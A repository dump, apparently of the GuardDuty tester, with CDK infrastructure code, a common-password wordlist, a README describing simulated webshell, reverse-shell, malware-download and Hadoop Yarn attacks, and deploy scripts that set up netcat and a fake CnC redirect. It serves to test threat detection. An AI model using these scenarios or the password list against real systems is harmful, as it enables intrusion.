162 | angels 163 | fishing 164 | david 165 | maddog 166 | hooters 167 | wilson 168 | butthead 169 | dennis 170 | captain 171 | chester 172 | smokey 173 | xavier 174 | steven 175 | viking 176 | snoopy 177 | blue 178 | eagles 179 | winner 180 | samantha 181 | house 182 | miller 183 | flower 184 | jack 185 | firebird 186 | butter 187 | united 188 | turtle 189 | steelers 190 | tiffany 191 | zxcvbn 192 | tomcat 193 | golf 194 | bond007 195 | bear 196 | tiger 197 | doctor 198 | gateway 199 | gators 200 | angel 201 | junior 202 | thx1138 203 | badboy 204 | debbie 205 | spider 206 | melissa 207 | booger 208 | 1212 209 | flyers 210 | fish 211 | matrix 212 | teens 213 | scooby 214 | jason 215 | walter 216 | boston 217 | braves 218 | yankee 219 | lover 220 | barney 221 | victor 222 | tucker 223 | princess 224 | mercedes 225 | 5150 226 | doggie 227 | zzzzzz 228 | gunner 229 | horney 230 | bubba 231 | 2112 232 | fred 233 | johnson 234 | xxxxx 235 | member 236 | donald 237 | jackie 238 | monica 239 | midnight 240 | college 241 | baby 242 | brian 243 | mark 244 | startrek 245 | sierra 246 | leather 247 | 232323 248 | 4444 249 | beavis 250 | happy 251 | sophie 252 | ladies 253 | naughty 254 | giants 255 | blonde 256 | golden 257 | -------------------------------------------------------------------------------- /.eslintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | parser: '@typescript-eslint/parser', // Specifies the ESLint parser 3 | plugins: ['simple-import-sort', 'import'], // Add 'simple-import-sort' and 'import' in plugins section to enable simpe-import-sort configs in rules section 4 | extends: [ 5 | 'plugin:@typescript-eslint/recommended', // Uses the recommended rules from the @typescript-eslint/eslint-plugin 6 | // https://github.com/prettier/eslint-plugin-prettier#recommended-configuration 7 | // Unfolds to extending 'prettier' directly, and now one prettier rules them all, so no other plugins are required. 8 | // https://github.com/prettier/eslint-config-prettier/blob/main/CHANGELOG.md#version-800-2021-02-21 9 | // Enables eslint-plugin-prettier and eslint-config-prettier. This will display prettier errors as ESLint errors. Make sure this is always the last configuration in the extends array 10 | 'plugin:prettier/recommended', 11 | ], 12 | ignorePatterns: ['build/*', 'dist/*', 'node_modules/*'], 13 | rules: { 14 | /* Error Section */ 15 | 16 | 'object-shorthand': ['error'], // Enforce consistency of {key: value} when they have the same name to simplify to just {value} 17 | 'no-var': 'error', // Do not use var -- use let or const instead 18 | 'simple-import-sort/imports': 'error', // Enable import order autofix 19 | 'simple-import-sort/exports': 'error', // Enable export order autofix 20 | 'import/first': 'error', // Require imports at top of the file 21 | 'import/exports-last': 'error', // Require exports at end of each file 22 | 'import/no-duplicates': 'error', // Prevent duplicate imports 23 | 'import/newline-after-import': 'error', // Require newline after imports 24 | 'no-restricted-syntax': [ 25 | 'error', 26 | { 27 | 'selector': 'CallExpression[callee.name="require"]', 28 | 'message': 'require() is not allowed' 29 | } 30 | ], 31 | 32 | /* Warning Section */ 33 | 34 | 'no-console': 'warn', // Warn for console statements 35 | '@typescript-eslint/no-use-before-define': 'warn', // Declarations before usage within file 36 | '@typescript-eslint/no-shadow': 'warn', // Warn about outer-scope declaration (same variable name in inner-scope) 37 | 'prefer-destructuring': ['warn', {'object': true, 'array': true}], 38 | 39 | /* Allowed Syntax Section */ 40 | 41 | '@typescript-eslint/no-non-null-assertion': 'off', // Allow use of non-null assertion 42 | 'no-plusplus': 'off', // Allow unary ++ 43 | 'max-classes-per-file': 'off', // Allow more than one class per file 44 | 'class-methods-use-this': 'off', // Allow nonstatic methods that do not use `this` 45 | 'no-new': 'off', // Allow using 'new' keyword without assigning to a variable 46 | 'import/prefer-default-export': 'off', // Allow non default exports 47 | 'no-template-curly-in-string': 'off', // Allow strings to have curly braces 48 | 49 | // Allow imports from devDependencies 50 | 'import/no-extraneous-dependencies': [ 51 | 'error', 52 | { 53 | 'devDependencies': true, 54 | }, 55 | ], 56 | }, 57 | }; 58 | 59 | 60 | -------------------------------------------------------------------------------- /lib/common/compute/eks/tester-eks.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Tag, Fn } from 'aws-cdk-lib'; 15 | import { CfnLaunchTemplate, type Vpc, type SecurityGroup } from 'aws-cdk-lib/aws-ec2'; 16 | import { Cluster, EndpointAccess, KubernetesVersion, NodegroupAmiType } from 'aws-cdk-lib/aws-eks'; 17 | import { type Role } from 'aws-cdk-lib/aws-iam'; 18 | import { Construct } from 'constructs'; 19 | 20 | import { EksSecurityGroup } from '../../access/securityGroup/eks-security-group'; 21 | 22 | export interface EksProps { 23 | vpc: Vpc; 24 | masterRole: Role; 25 | kubectlRole: Role; 26 | name: string; 27 | instanceName: string; 28 | tag: Tag; 29 | createdBy: Tag; 30 | ecsSecurityGroup?: SecurityGroup; 31 | } 32 | 33 | /** 34 | * EKS cluster for EKS audit logs and runtime testing 35 | */ 36 | export class TesterEksCluster extends Construct { 37 | public readonly eks: Cluster; 38 | constructor(scope: Construct, id: string, props: EksProps) { 39 | super(scope, id); 40 | 41 | const eksSecurityGroup = new EksSecurityGroup(this, 'SecurityGroup', { 42 | vpc: props.vpc, 43 | ecsSecurityGroup: props.ecsSecurityGroup, 44 | }); 45 | 46 | this.eks = new Cluster(this, id, { 47 | version: KubernetesVersion.of('1.29'), 48 | defaultCapacity: 0, 49 | vpc: props.vpc, 50 | securityGroup: eksSecurityGroup.sg, 51 | mastersRole: props.masterRole, // ecs cluster iam role as eks cluster master role for testing 52 | clusterName: props.name, 53 | endpointAccess: EndpointAccess.PUBLIC, // required for custom malicious ip caller findings 54 | }); 55 | 56 | // allow Debian instance to make changes for testing 57 | this.eks.awsAuth.addRoleMapping(props.kubectlRole, { 58 | groups: ['system:masters'], 59 | }); 60 | 61 | const nodeLaunchTemplate = new CfnLaunchTemplate(this, 'LaunchTemplate', { 62 | launchTemplateData: { 63 | instanceType: 't3.medium', 64 | securityGroupIds: [eksSecurityGroup.sg.securityGroupId], 65 | tagSpecifications: [ 66 | { 67 | resourceType: 'instance', 68 | tags: [ 69 | { 70 | key: 'Name', 71 | value: props.instanceName, 72 | }, 73 | { 74 | key: props.tag.key, 75 | value: props.tag.value, 76 | }, 77 | { 78 | key: props.createdBy.key, 79 | value: props.createdBy.value, 80 | }, 81 | ], 82 | }, 83 | ], 84 | }, 85 | }); 86 | 87 | const nodegroup = this.eks.addNodegroupCapacity('guardduty-tester-nodegroup', { 88 | launchTemplateSpec: { 89 | id: nodeLaunchTemplate.ref, 90 | version: nodeLaunchTemplate.attrLatestVersionNumber, 91 | }, 92 | minSize: 1, 93 | maxSize: 1, 94 | amiType: NodegroupAmiType.AL2_X86_64, 95 | }); 96 | 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /lib/common/access/iam/cfn-action-lambda-role.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Effect, PolicyDocument, PolicyStatement, Role, ServicePrincipal } from 'aws-cdk-lib/aws-iam'; 15 | import { Construct } from 'constructs'; 16 | 17 | import { type CfnLambdaProps } from '../../compute/lambda/lambda-props'; 18 | 19 | /** 20 | * IAM role for Custom Resource lambda for cleaning up the 21 | * environment after testing 22 | * The permissions needed to handle the CFN events 23 | * Delete objects in tester bucket 24 | * Delete custom threat list if uploaded 25 | * Delete ECR repo from EKS runtime testing 26 | */ 27 | export class CfnActionLambdaRole extends Construct { 28 | public readonly role: Role; 29 | constructor(scope: Construct, id: string, props: CfnLambdaProps) { 30 | super(scope, id); 31 | this.role = new Role(this, id, { 32 | assumedBy: new ServicePrincipal('lambda.amazonaws.com'), 33 | inlinePolicies: { 34 | CfnActionLambdaPolicy: new PolicyDocument({ 35 | statements: [ 36 | new PolicyStatement({ 37 | sid: 'LambdaLogging', 38 | effect: Effect.ALLOW, 39 | actions: ['logs:CreateLogGroup', 'logs:CreateLogStream', 'logs:PutLogEvents'], 40 | resources: [`arn:aws:logs:${props.region}:${props.accountId}:*`], 41 | }), 42 | new PolicyStatement({ 43 | sid: 'GuardDutyCleanupOnDelete', 44 | effect: Effect.ALLOW, 45 | actions: [ 46 | 'guardduty:DeleteThreatIntelSet', 47 | 'guardduty:GetDetector', 48 | 'guardduty:GetThreatIntelSet', 49 | 'guardduty:ListDetectors', 50 | 'guardduty:ListThreatIntelSets', 51 | ], 52 | resources: [`arn:aws:guardduty:${props.region}:${props.accountId}:detector/*`], 53 | }), 54 | new PolicyStatement({ 55 | sid: 'GuardDutyServiceRoleThreatListCleanup', 56 | effect: Effect.ALLOW, 57 | actions: ['iam:DeleteRolePolicy'], 58 | resources: [ 59 | `arn:aws:iam::${props.accountId}:role/aws-service-role/guardduty.amazonaws.com/AWSServiceRoleForAmazonGuardDuty`, 60 | ], 61 | }), 62 | new PolicyStatement({ 63 | sid: 'FindDebianImagePermission', 64 | effect: Effect.ALLOW, 65 | actions: ['ec2:DescribeImages'], 66 | resources: ['*'], // this EC2 api is only supported with all resources wildcard('*'). 67 | }), 68 | new PolicyStatement({ 69 | sid: 'EksPodImageRepositoryDelete', 70 | effect: Effect.ALLOW, 71 | actions: ['ecr:DeleteRepository'], 72 | resources: [`arn:aws:ecr:${props.region}:${props.accountId}:repository/${props.ecrRepo}`], 73 | }), 74 | ], 75 | }), 76 | }, 77 | }); 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing Guidelines 2 | 3 | Thank you for your interest in contributing to our project. Whether it's a bug report, new feature, correction, or additional 4 | documentation, we greatly value feedback and contributions from our community. 5 | 6 | Please read through this document before submitting any issues or pull requests to ensure we have all the necessary 7 | information to effectively respond to your bug report or contribution. 8 | 9 | 10 | ## Reporting Bugs/Feature Requests 11 | 12 | We welcome you to use the GitHub issue tracker to report bugs or suggest features. 13 | 14 | When filing an issue, please check [existing open](https://github.com/awslabs/amazon-guardduty-tester/issues), or [recently closed](https://github.com/awslabs/amazon-guardduty-tester/issues?utf8=%E2%9C%93&q=is%3Aissue%20is%3Aclosed%20), issues to make sure somebody else hasn't already 15 | reported the issue. Please try to include as much information as you can. Details like these are incredibly useful: 16 | 17 | * A reproducible test case or series of steps 18 | * The version of our code being used 19 | * Any modifications you've made relevant to the bug 20 | * Anything unusual about your environment or deployment 21 | 22 | 23 | ## Contributing via Pull Requests 24 | Contributions via pull requests are much appreciated. Before sending us a pull request, please ensure that: 25 | 26 | 1. You are working against the latest source on the *master* branch. 27 | 2. You check existing open, and recently merged, pull requests to make sure someone else hasn't addressed the problem already. 28 | 3. You open an issue to discuss any significant work - we would hate for your time to be wasted. 29 | 30 | To send us a pull request, please: 31 | 32 | 1. Fork the repository. 33 | 2. Modify the source; please focus on the specific change you are contributing. If you also reformat all the code, it will be hard for us to focus on your change. 34 | 3. Ensure local tests pass. 35 | 4. Commit to your fork using clear commit messages. 36 | 5. Send us a pull request, answering any default questions in the pull request interface. 37 | 6. Pay attention to any automated CI failures reported in the pull request, and stay involved in the conversation. 38 | 39 | GitHub provides additional document on [forking a repository](https://help.github.com/articles/fork-a-repo/) and 40 | [creating a pull request](https://help.github.com/articles/creating-a-pull-request/). 41 | 42 | 43 | ## Finding contributions to work on 44 | Looking at the existing issues is a great way to find something to contribute on. As our projects, by default, use the default GitHub issue labels ((enhancement/bug/duplicate/help wanted/invalid/question/wontfix), looking at any ['help wanted'](https://github.com/awslabs/amazon-guardduty-tester/labels/help%20wanted) issues is a great place to start. 45 | 46 | 47 | ## Code of Conduct 48 | This project has adopted the [Amazon Open Source Code of Conduct](https://aws.github.io/code-of-conduct). 49 | For more information see the [Code of Conduct FAQ](https://aws.github.io/code-of-conduct-faq) or contact 50 | opensource-codeofconduct@amazon.com with any additional questions or comments. 51 | 52 | 53 | ## Security issue notifications 54 | See SECURITY.md 55 | 56 | 57 | ## Licensing 58 | 59 | See the [LICENSE](https://github.com/awslabs/amazon-guardduty-tester/blob/master/LICENSE) file for our project's licensing. We will ask you to confirm the licensing of your contribution. 60 | 61 | We may ask you to sign a [Contributor License Agreement (CLA)](http://en.wikipedia.org/wiki/Contributor_License_Agreement) for larger changes. 62 | -------------------------------------------------------------------------------- /lib/common/compute/ec2/ubuntu-instance.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { Tags } from 'aws-cdk-lib'; 15 | import { BlockDevice, BlockDeviceVolume, EbsDeviceVolumeType, Instance, MachineImage, Peer, Port, SecurityGroup, SubnetType, UserData } from 'aws-cdk-lib/aws-ec2'; 16 | import { Construct } from 'constructs'; 17 | 18 | import { UbuntuRole } from '../../access/iam/ubuntu-role'; 19 | import { type Ec2Props } from './ec2-props'; 20 | 21 | /** 22 | * Ubuntu 22 EC2 instance in private subnet with SSM access 23 | */ 24 | export interface UbuntuProps extends Ec2Props { 25 | bucketName: string; 26 | accountId: string; 27 | } 28 | 29 | export class UbuntuInstance extends Construct { 30 | public readonly ec2: Instance; 31 | public readonly instanceRole: UbuntuRole; 32 | 33 | constructor(scope: Construct, id: string, props: UbuntuProps) { 34 | super(scope, id); 35 | 36 | // Create Ubuntu-specific IAM role 37 | 38 | this.instanceRole = new UbuntuRole(scope, 'UbuntuRole', { 39 | bucketName: props.bucketName, 40 | region: props.region!, 41 | accountId: props.accountId, 42 | }); 43 | 44 | // Security group for Ubuntu instance 45 | const securityGroup = new SecurityGroup(this, 'UbuntuSecurityGroup', { 46 | vpc: props.vpc, 47 | description: 'Security group for Ubuntu GuardDuty tester instance', 48 | allowAllOutbound: true, 49 | }); 50 | 51 | // User data for basic setup 52 | const userData = UserData.forLinux(); 53 | const homeDir = '/home/ssm-user'; 54 | const region = props.region!; 55 | 56 | userData.addCommands( 57 | 'apt-get update -y', 58 | 'apt-get install -y awscli', 59 | 'snap install amazon-ssm-agent --classic', 60 | 'systemctl enable snap.amazon-ssm-agent.amazon-ssm-agent.service', 61 | 'systemctl start snap.amazon-ssm-agent.amazon-ssm-agent.service', 62 | 'apt install awscli -y', 63 | `aws s3 cp --recursive s3://${props.bucketName}/py_tester ${homeDir}/py_tester`, 64 | `find ${homeDir}/py_tester/runtimeScenarios -name "*.sh" -exec chmod +x {} \\;`, 65 | `find ${homeDir}/py_tester/runtimeScenarios -name "*.py" -exec chmod +x {} \\;`, 66 | `chown -R ssm-user: ${homeDir}`, 67 | 'TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`', 68 | 'INSTANCE_ID=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/instance-id)', 69 | `aws ssm send-command --region ${region} --instance-ids \$INSTANCE_ID --document-name "AmazonGuardDuty-ConfigureRuntimeMonitoringSsmPlugin" --parameters "action=Install,name=AmazonGuardDuty-RuntimeMonitoringSsmPlugin" --output text` 70 | ); 71 | 72 | // Create Ubuntu 22.04 LTS instance 73 | this.ec2 = new Instance(this, 'UbuntuInstance', { 74 | vpc: props.vpc, 75 | vpcSubnets: { subnetType: SubnetType.PRIVATE_WITH_EGRESS }, 76 | instanceType: props.instanceType, 77 | machineImage: MachineImage.fromSsmParameter( 78 | '/aws/service/canonical/ubuntu/server/22.04/stable/current/amd64/hvm/ebs-gp2/ami-id' 79 | ), 80 | role: this.instanceRole.role, 81 | securityGroup: securityGroup, 82 | userData: userData, 83 | userDataCausesReplacement: true, 84 | requireImdsv2: true, 85 | blockDevices: [ 86 | { 87 | deviceName: '/dev/sda1', 88 | volume: BlockDeviceVolume.ebs(32, { 89 | volumeType: EbsDeviceVolumeType.GP3, 90 | }), 91 | }, 92 | ], 93 | }); 94 | 95 | // Apply tags 96 | Tags.of(this.ec2).add(props.tag.key, props.tag.value); 97 | Tags.of(this.ec2).add(props.createdBy.key, props.createdBy.value); 98 | Tags.of(this.ec2).add('Name', props.instanceName); 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /runtimeMonitoringScenarios/README.md: -------------------------------------------------------------------------------- 1 | # GuardDuty Runtime Monitoring Test Scenarios 2 | 3 | This repository includes three realistic scenarios to test GuardDuty Runtime Monitoring. Use the following instructions to execute the scenarios. 4 | 5 | ## PHP Webshell 6 | 7 | This scenario deploys a PHP web application as an EKS pod and simulates exploitation of a vulnerability leading to webshell deployment. The attack simulation simulates to exploit a vulnerability to inject and deploy a PHP webshell. Then it uses the webshell to execute reconnaissance commands, download malware from CnC server and execute it and persist the malware as a cron job. 8 | 9 | ### Instructions to execute the scenario: 10 | 11 | 1. **Connect to the driver instance:** 12 | ```bash 13 | aws ssm start-session \ 14 | --region $REGION \ 15 | --document-name AWS-StartInteractiveCommand \ 16 | --parameters command="cd /home/ssm-user/py_tester && bash -l" \ 17 | --target $(aws ec2 describe-instances \ 18 | --region $REGION \ 19 | --filters "Name=tag:Name,Values=Driver-GuardDutyTester" \ 20 | --query "Reservations[].Instances[?State.Name=='running'].InstanceId" \ 21 | --output text) 22 | ``` 23 | 24 | 2. **Change directory to runtimeScenarios/php-webshell:** 25 | ```bash 26 | cd runtimeScenarios/php-webshell 27 | ``` 28 | 29 | 3. **Deploy the PHP web application:** 30 | ```bash 31 | ./deploy_php.sh 32 | ``` 33 | 34 | 4. **Execute the attack:** 35 | ```bash 36 | ./attack.py 37 | ``` 38 | 39 | ## Java Webshell 40 | 41 | This scenario deploys a Java web application as an EKS pod and simulates exploitation of a code injection vulnerability like the well-known Log4Shell vulnerability. The attack simulates injection of remote code that executes as a Java class and establishes a reverse shell connection with a CnC server. Then it uses the reverse shell to execute reconnaissance commands, download malware from CnC server and execute it. 42 | 43 | ### Instructions to execute the scenario: 44 | 45 | 1. **Connect to the driver instance:** 46 | ```bash 47 | aws ssm start-session \ 48 | --region $REGION \ 49 | --document-name AWS-StartInteractiveCommand \ 50 | --parameters command="cd /home/ssm-user/py_tester && bash -l" \ 51 | --target $(aws ec2 describe-instances \ 52 | --region $REGION \ 53 | --filters "Name=tag:Name,Values=Driver-GuardDutyTester" \ 54 | --query "Reservations[].Instances[?State.Name=='running'].InstanceId" \ 55 | --output text) 56 | ``` 57 | 58 | 2. **Change directory to runtimeScenarios/java-webshell:** 59 | ```bash 60 | cd runtimeScenarios/java-webshell 61 | ``` 62 | 63 | 3. **Deploy the Java web application:** 64 | ```bash 65 | ./deploy_java.sh 66 | ``` 67 | 68 | 4. **Execute the attack:** 69 | ```bash 70 | ./attack.py 71 | ``` 72 | 73 | ## Hadoop Yarn Compromise 74 | 75 | This scenario simulates an unauthenticated Hadoop Yarn endpoint. It then simulates an attacker submitting a job through the unauthenticated Yarn endpoint. The job connects to a command and control server to download and execute malware. 76 | 77 | ### Instructions to execute the scenario: 78 | 79 | 1. **Prerequisites:** 80 | - First make sure the [GuardDuty runtime monitoring](https://docs.aws.amazon.com/guardduty/latest/ug/runtime-monitoring-configuration.html) and [automated agent management for EC2](https://docs.aws.amazon.com/guardduty/latest/ug/manage-agent-ec2-standalone-account.html) is enabled in your account. 81 | 82 | 2. **Connect to the Ubuntu instance:** 83 | ```bash 84 | aws ssm start-session \ 85 | --region $REGION \ 86 | --document-name AWS-StartInteractiveCommand \ 87 | --parameters command="cd /home/ssm-user/py_tester && bash -l" \ 88 | --target $(aws ec2 describe-instances \ 89 | --region $REGION \ 90 | --filters "Name=tag:Name,Values=Ubuntu-GuardDutyTester" \ 91 | --query "Reservations[].Instances[?State.Name=='running'].InstanceId" \ 92 | --output text) 93 | ``` 94 | 95 | 3. **Change directory:** 96 | ```bash 97 | cd runtimeScenarios/hadoop-yarn-job 98 | ``` 99 | 100 | 4. **Deploy the Hadoop cluster (this with deploy a single-node cluster that is only accessible from the localhost). If you get GUI based questions during the deployment and you are unable to use your keyboard to answer them, just kill the script by pressing ctrl-c and run the deployment script again. You may have to stop and run multiple times):** 101 | ```bash 102 | ./deploy_hadoop.sh 103 | ``` 104 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/java-webshell/deploy_java.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Getting region from IMDSv2..." 3 | TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` 4 | REGION=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region) 5 | 6 | echo "Region is $REGION" 7 | 8 | echo "Configuring kubectl to connect to EksGuardDutyTester cluster... " 9 | aws eks update-kubeconfig --region $REGION --name EksGuardDutyTester 10 | 11 | # Java Web Application Deployment Script for GuardDuty Tester EKS Cluster 12 | if [[ -z "$REGION" ]]; then 13 | echo "Error: REGION is not set or is empty. Please set by running \"export REGION=\". For example, export REGION=us-west-1." >&2 14 | exit 1 15 | fi 16 | 17 | # Check if the 'docker' command exists 18 | if ! command -v docker &> /dev/null; then 19 | echo "Error: Docker is not installed or not found in the system's PATH." >&2 20 | exit 1 21 | fi 22 | 23 | # Check if the Docker daemon is running 24 | if ! sudo docker info &> /dev/null; then 25 | echo "Error: Docker is installed but the Docker daemon is not running." >&2 26 | echo "Please ensure the Docker daemon is started." >&2 27 | exit 1 28 | fi 29 | 30 | echo "Checking for previous Tomcat pods" 31 | if [ $(kubectl get pods | grep tomcat-pod | wc -l) -ne 0 ]; then 32 | echo "Previous deployment found, removing" 33 | kubectl delete -f ./files/tomcat.yaml 34 | if [ $? -eq 0 ]; then 35 | echo "Delete successful" 36 | else 37 | echo "Delete failed" 38 | exit 1 39 | fi 40 | else 41 | echo "No previous Tomcat pod found" 42 | fi 43 | 44 | echo 45 | echo "Preparing Tomcat container image for Java web app..." 46 | 47 | # Generate random tag 48 | RANDOM_TAG=$(openssl rand -hex 6) 49 | REPO_NAME="java-app-$RANDOM_TAG" 50 | 51 | # Get AWS account ID and region 52 | ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) 53 | 54 | # Check if ECR repository exists and delete it if it does 55 | echo "Checking if ECR repository '$REPO_NAME' exists..." 56 | if aws ecr describe-repositories --repository-names $REPO_NAME --region $REGION >/dev/null 2>&1; then 57 | echo "Repository '$REPO_NAME' exists. Deleting it..." 58 | aws ecr delete-repository --repository-name $REPO_NAME --region $REGION --force 59 | if [ $? -eq 0 ]; then 60 | echo "Repository '$REPO_NAME' deleted successfully" 61 | else 62 | echo "Failed to delete repository '$REPO_NAME'" 63 | exit 1 64 | fi 65 | else 66 | echo "Repository '$REPO_NAME' does not exist" 67 | fi 68 | 69 | # Create ECR repository 70 | echo "Creating ECR repository '$REPO_NAME'..." 71 | aws ecr create-repository --repository-name $REPO_NAME --region $REGION 72 | 73 | # Get ECR login token 74 | aws ecr get-login-password --region $REGION | sudo docker login --username AWS --password-stdin $ACCOUNT_ID.dkr.ecr.$REGION.amazonaws.com 75 | 76 | # Pull Tomcat image 77 | sudo docker pull public.ecr.aws/docker/library/tomcat:9.0-jdk11 78 | 79 | export IMAGE_NAME=`echo $ACCOUNT_ID.dkr.ecr.$REGION.amazonaws.com/$REPO_NAME:$RANDOM_TAG` 80 | # Tag image for ECR 81 | sudo docker tag public.ecr.aws/docker/library/tomcat:9.0-jdk11 $IMAGE_NAME 82 | 83 | # Push to ECR 84 | sudo docker push $IMAGE_NAME 85 | 86 | echo "Image pushed to: $IMAGE_NAME" 87 | 88 | echo 89 | echo "Deploying Tomcat and Java Web Application to EKS cluster..." 90 | 91 | envsubst < ./files/tomcat.yaml > ./files/temp_tomcat.yaml 92 | 93 | echo "Creating Deployment..." 94 | kubectl apply -f ./files/temp_tomcat.yaml 95 | 96 | echo "Deployment completed!" 97 | echo "Checking deployment status..." 98 | kubectl get pods tomcat-pod 99 | 100 | echo "Waiting for 30 seconds for deployment to complete..." 101 | sleep 30 102 | 103 | echo "Deleting the repository $REPO_NAME for cleanup...." 104 | aws ecr delete-repository --repository-name $REPO_NAME --region $REGION --force 105 | 106 | echo 107 | echo 108 | echo "Getting pod name" 109 | export pod_name=`kubectl get pods tomcat-pod -o jsonpath='{.metadata.name}'` 110 | echo $pod_name | tee .tomcat_pod_name 111 | 112 | echo 113 | echo 114 | echo "Setup Tomcat and a Java web application...." 115 | # Install netcat 116 | kubectl exec -it $pod_name -- apt update -y 117 | kubectl exec -it $pod_name -- apt install netcat-openbsd -y 118 | 119 | echo "Installing iptables and setting NAT rules to redirect connects to the CnC IP to localhost..." 120 | kubectl exec -it $pod_name -- apt install -y iptables 121 | kubectl exec -it $pod_name -- iptables -t nat -A OUTPUT -d 203.0.113.1 -p tcp --dport 33333 -j DNAT --to-destination 127.0.0.1:8081 122 | kubectl exec -it $pod_name -- iptables -t nat -A OUTPUT -d 203.0.113.1 -p tcp --dport 4444 -j DNAT --to-destination 127.0.0.1:4444 123 | 124 | echo "Deploying index.jsp..." 125 | kubectl exec -it $pod_name -- mkdir /usr/local/tomcat/webapps/ROOT 126 | kubectl cp ./files/index.jsp $pod_name:/usr/local/tomcat/webapps/ROOT/index.jsp 127 | 128 | echo "Deploying and starting Python server to act as CnC..." 129 | kubectl cp ./files/python_server.py $pod_name:/python_server.py 130 | kubectl exec -it $pod_name -- apt install -y python3 131 | nohup kubectl exec -it $pod_name -- bash -c 'python3 /python_server.py' > /dev/null 2>&1 & 132 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/php-webshell/deploy_php.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Getting region from IMDSv2..." 3 | TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` 4 | REGION=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region) 5 | 6 | echo "Region is $REGION" 7 | 8 | echo "Configuring kubectl to connect to EksGuardDutyTester cluster... " 9 | aws eks update-kubeconfig --region $REGION --name EksGuardDutyTester 10 | 11 | # PHP Web Application Deployment Script for GuardDuty Tester EKS Cluster 12 | if [[ -z "$REGION" ]]; then 13 | echo "Error: REGION is not set or is empty. Please set by running \"export REGION=\". For example, export REGION=us-west-1." >&2 14 | exit 1 15 | fi 16 | 17 | # Check if the 'docker' command exists 18 | if ! command -v docker &> /dev/null; then 19 | echo "Error: Docker is not installed or not found in the system's PATH." >&2 20 | exit 1 21 | fi 22 | 23 | # Check if the Docker daemon is running 24 | if ! sudo docker info &> /dev/null; then 25 | echo "Error: Docker is installed but the Docker daemon is not running." >&2 26 | echo "Please ensure the Docker daemon is started." >&2 27 | exit 1 28 | fi 29 | 30 | echo "Checking for previous php-app pods" 31 | if [ $(kubectl get pods | grep php-app | wc -l) -ne 0 ]; then 32 | echo "Previous deployment found, removing" 33 | kubectl delete -f ./files/deploy_php.yaml 34 | if [ $? -eq 0 ]; then 35 | echo "Delete successful" 36 | else 37 | echo "Delete failed" 38 | exit 1 39 | fi 40 | else 41 | echo "No previous php-app deployment found" 42 | fi 43 | 44 | echo 45 | echo "Preparing container image for the php web app..." 46 | 47 | # Generate random tag 48 | RANDOM_TAG=$(openssl rand -hex 6) 49 | REPO_NAME="php-apache-app-$RANDOM_TAG" 50 | 51 | # Get AWS account ID and region 52 | ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) 53 | 54 | # Check if ECR repository exists and delete it if it does 55 | echo "Checking if ECR repository '$REPO_NAME' exists..." 56 | if aws ecr describe-repositories --repository-names $REPO_NAME --region $REGION >/dev/null 2>&1; then 57 | echo "Repository '$REPO_NAME' exists. Deleting it..." 58 | aws ecr delete-repository --repository-name $REPO_NAME --region $REGION --force 59 | if [ $? -eq 0 ]; then 60 | echo "Repository '$REPO_NAME' deleted successfully" 61 | else 62 | echo "Failed to delete repository '$REPO_NAME'" 63 | exit 1 64 | fi 65 | else 66 | echo "Repository '$REPO_NAME' does not exist" 67 | fi 68 | 69 | # Create ECR repository 70 | echo "Creating ECR repository '$REPO_NAME'..." 71 | aws ecr create-repository --repository-name $REPO_NAME --region $REGION 72 | 73 | # Get ECR login token 74 | aws ecr get-login-password --region $REGION | sudo docker login --username AWS --password-stdin $ACCOUNT_ID.dkr.ecr.$REGION.amazonaws.com 75 | 76 | # Pull php-apache image 77 | sudo docker pull public.ecr.aws/docker/library/php:apache 78 | 79 | export IMAGE_NAME=`echo $ACCOUNT_ID.dkr.ecr.$REGION.amazonaws.com/$REPO_NAME:$RANDOM_TAG` 80 | # Tag image for ECR 81 | sudo docker tag public.ecr.aws/docker/library/php:apache 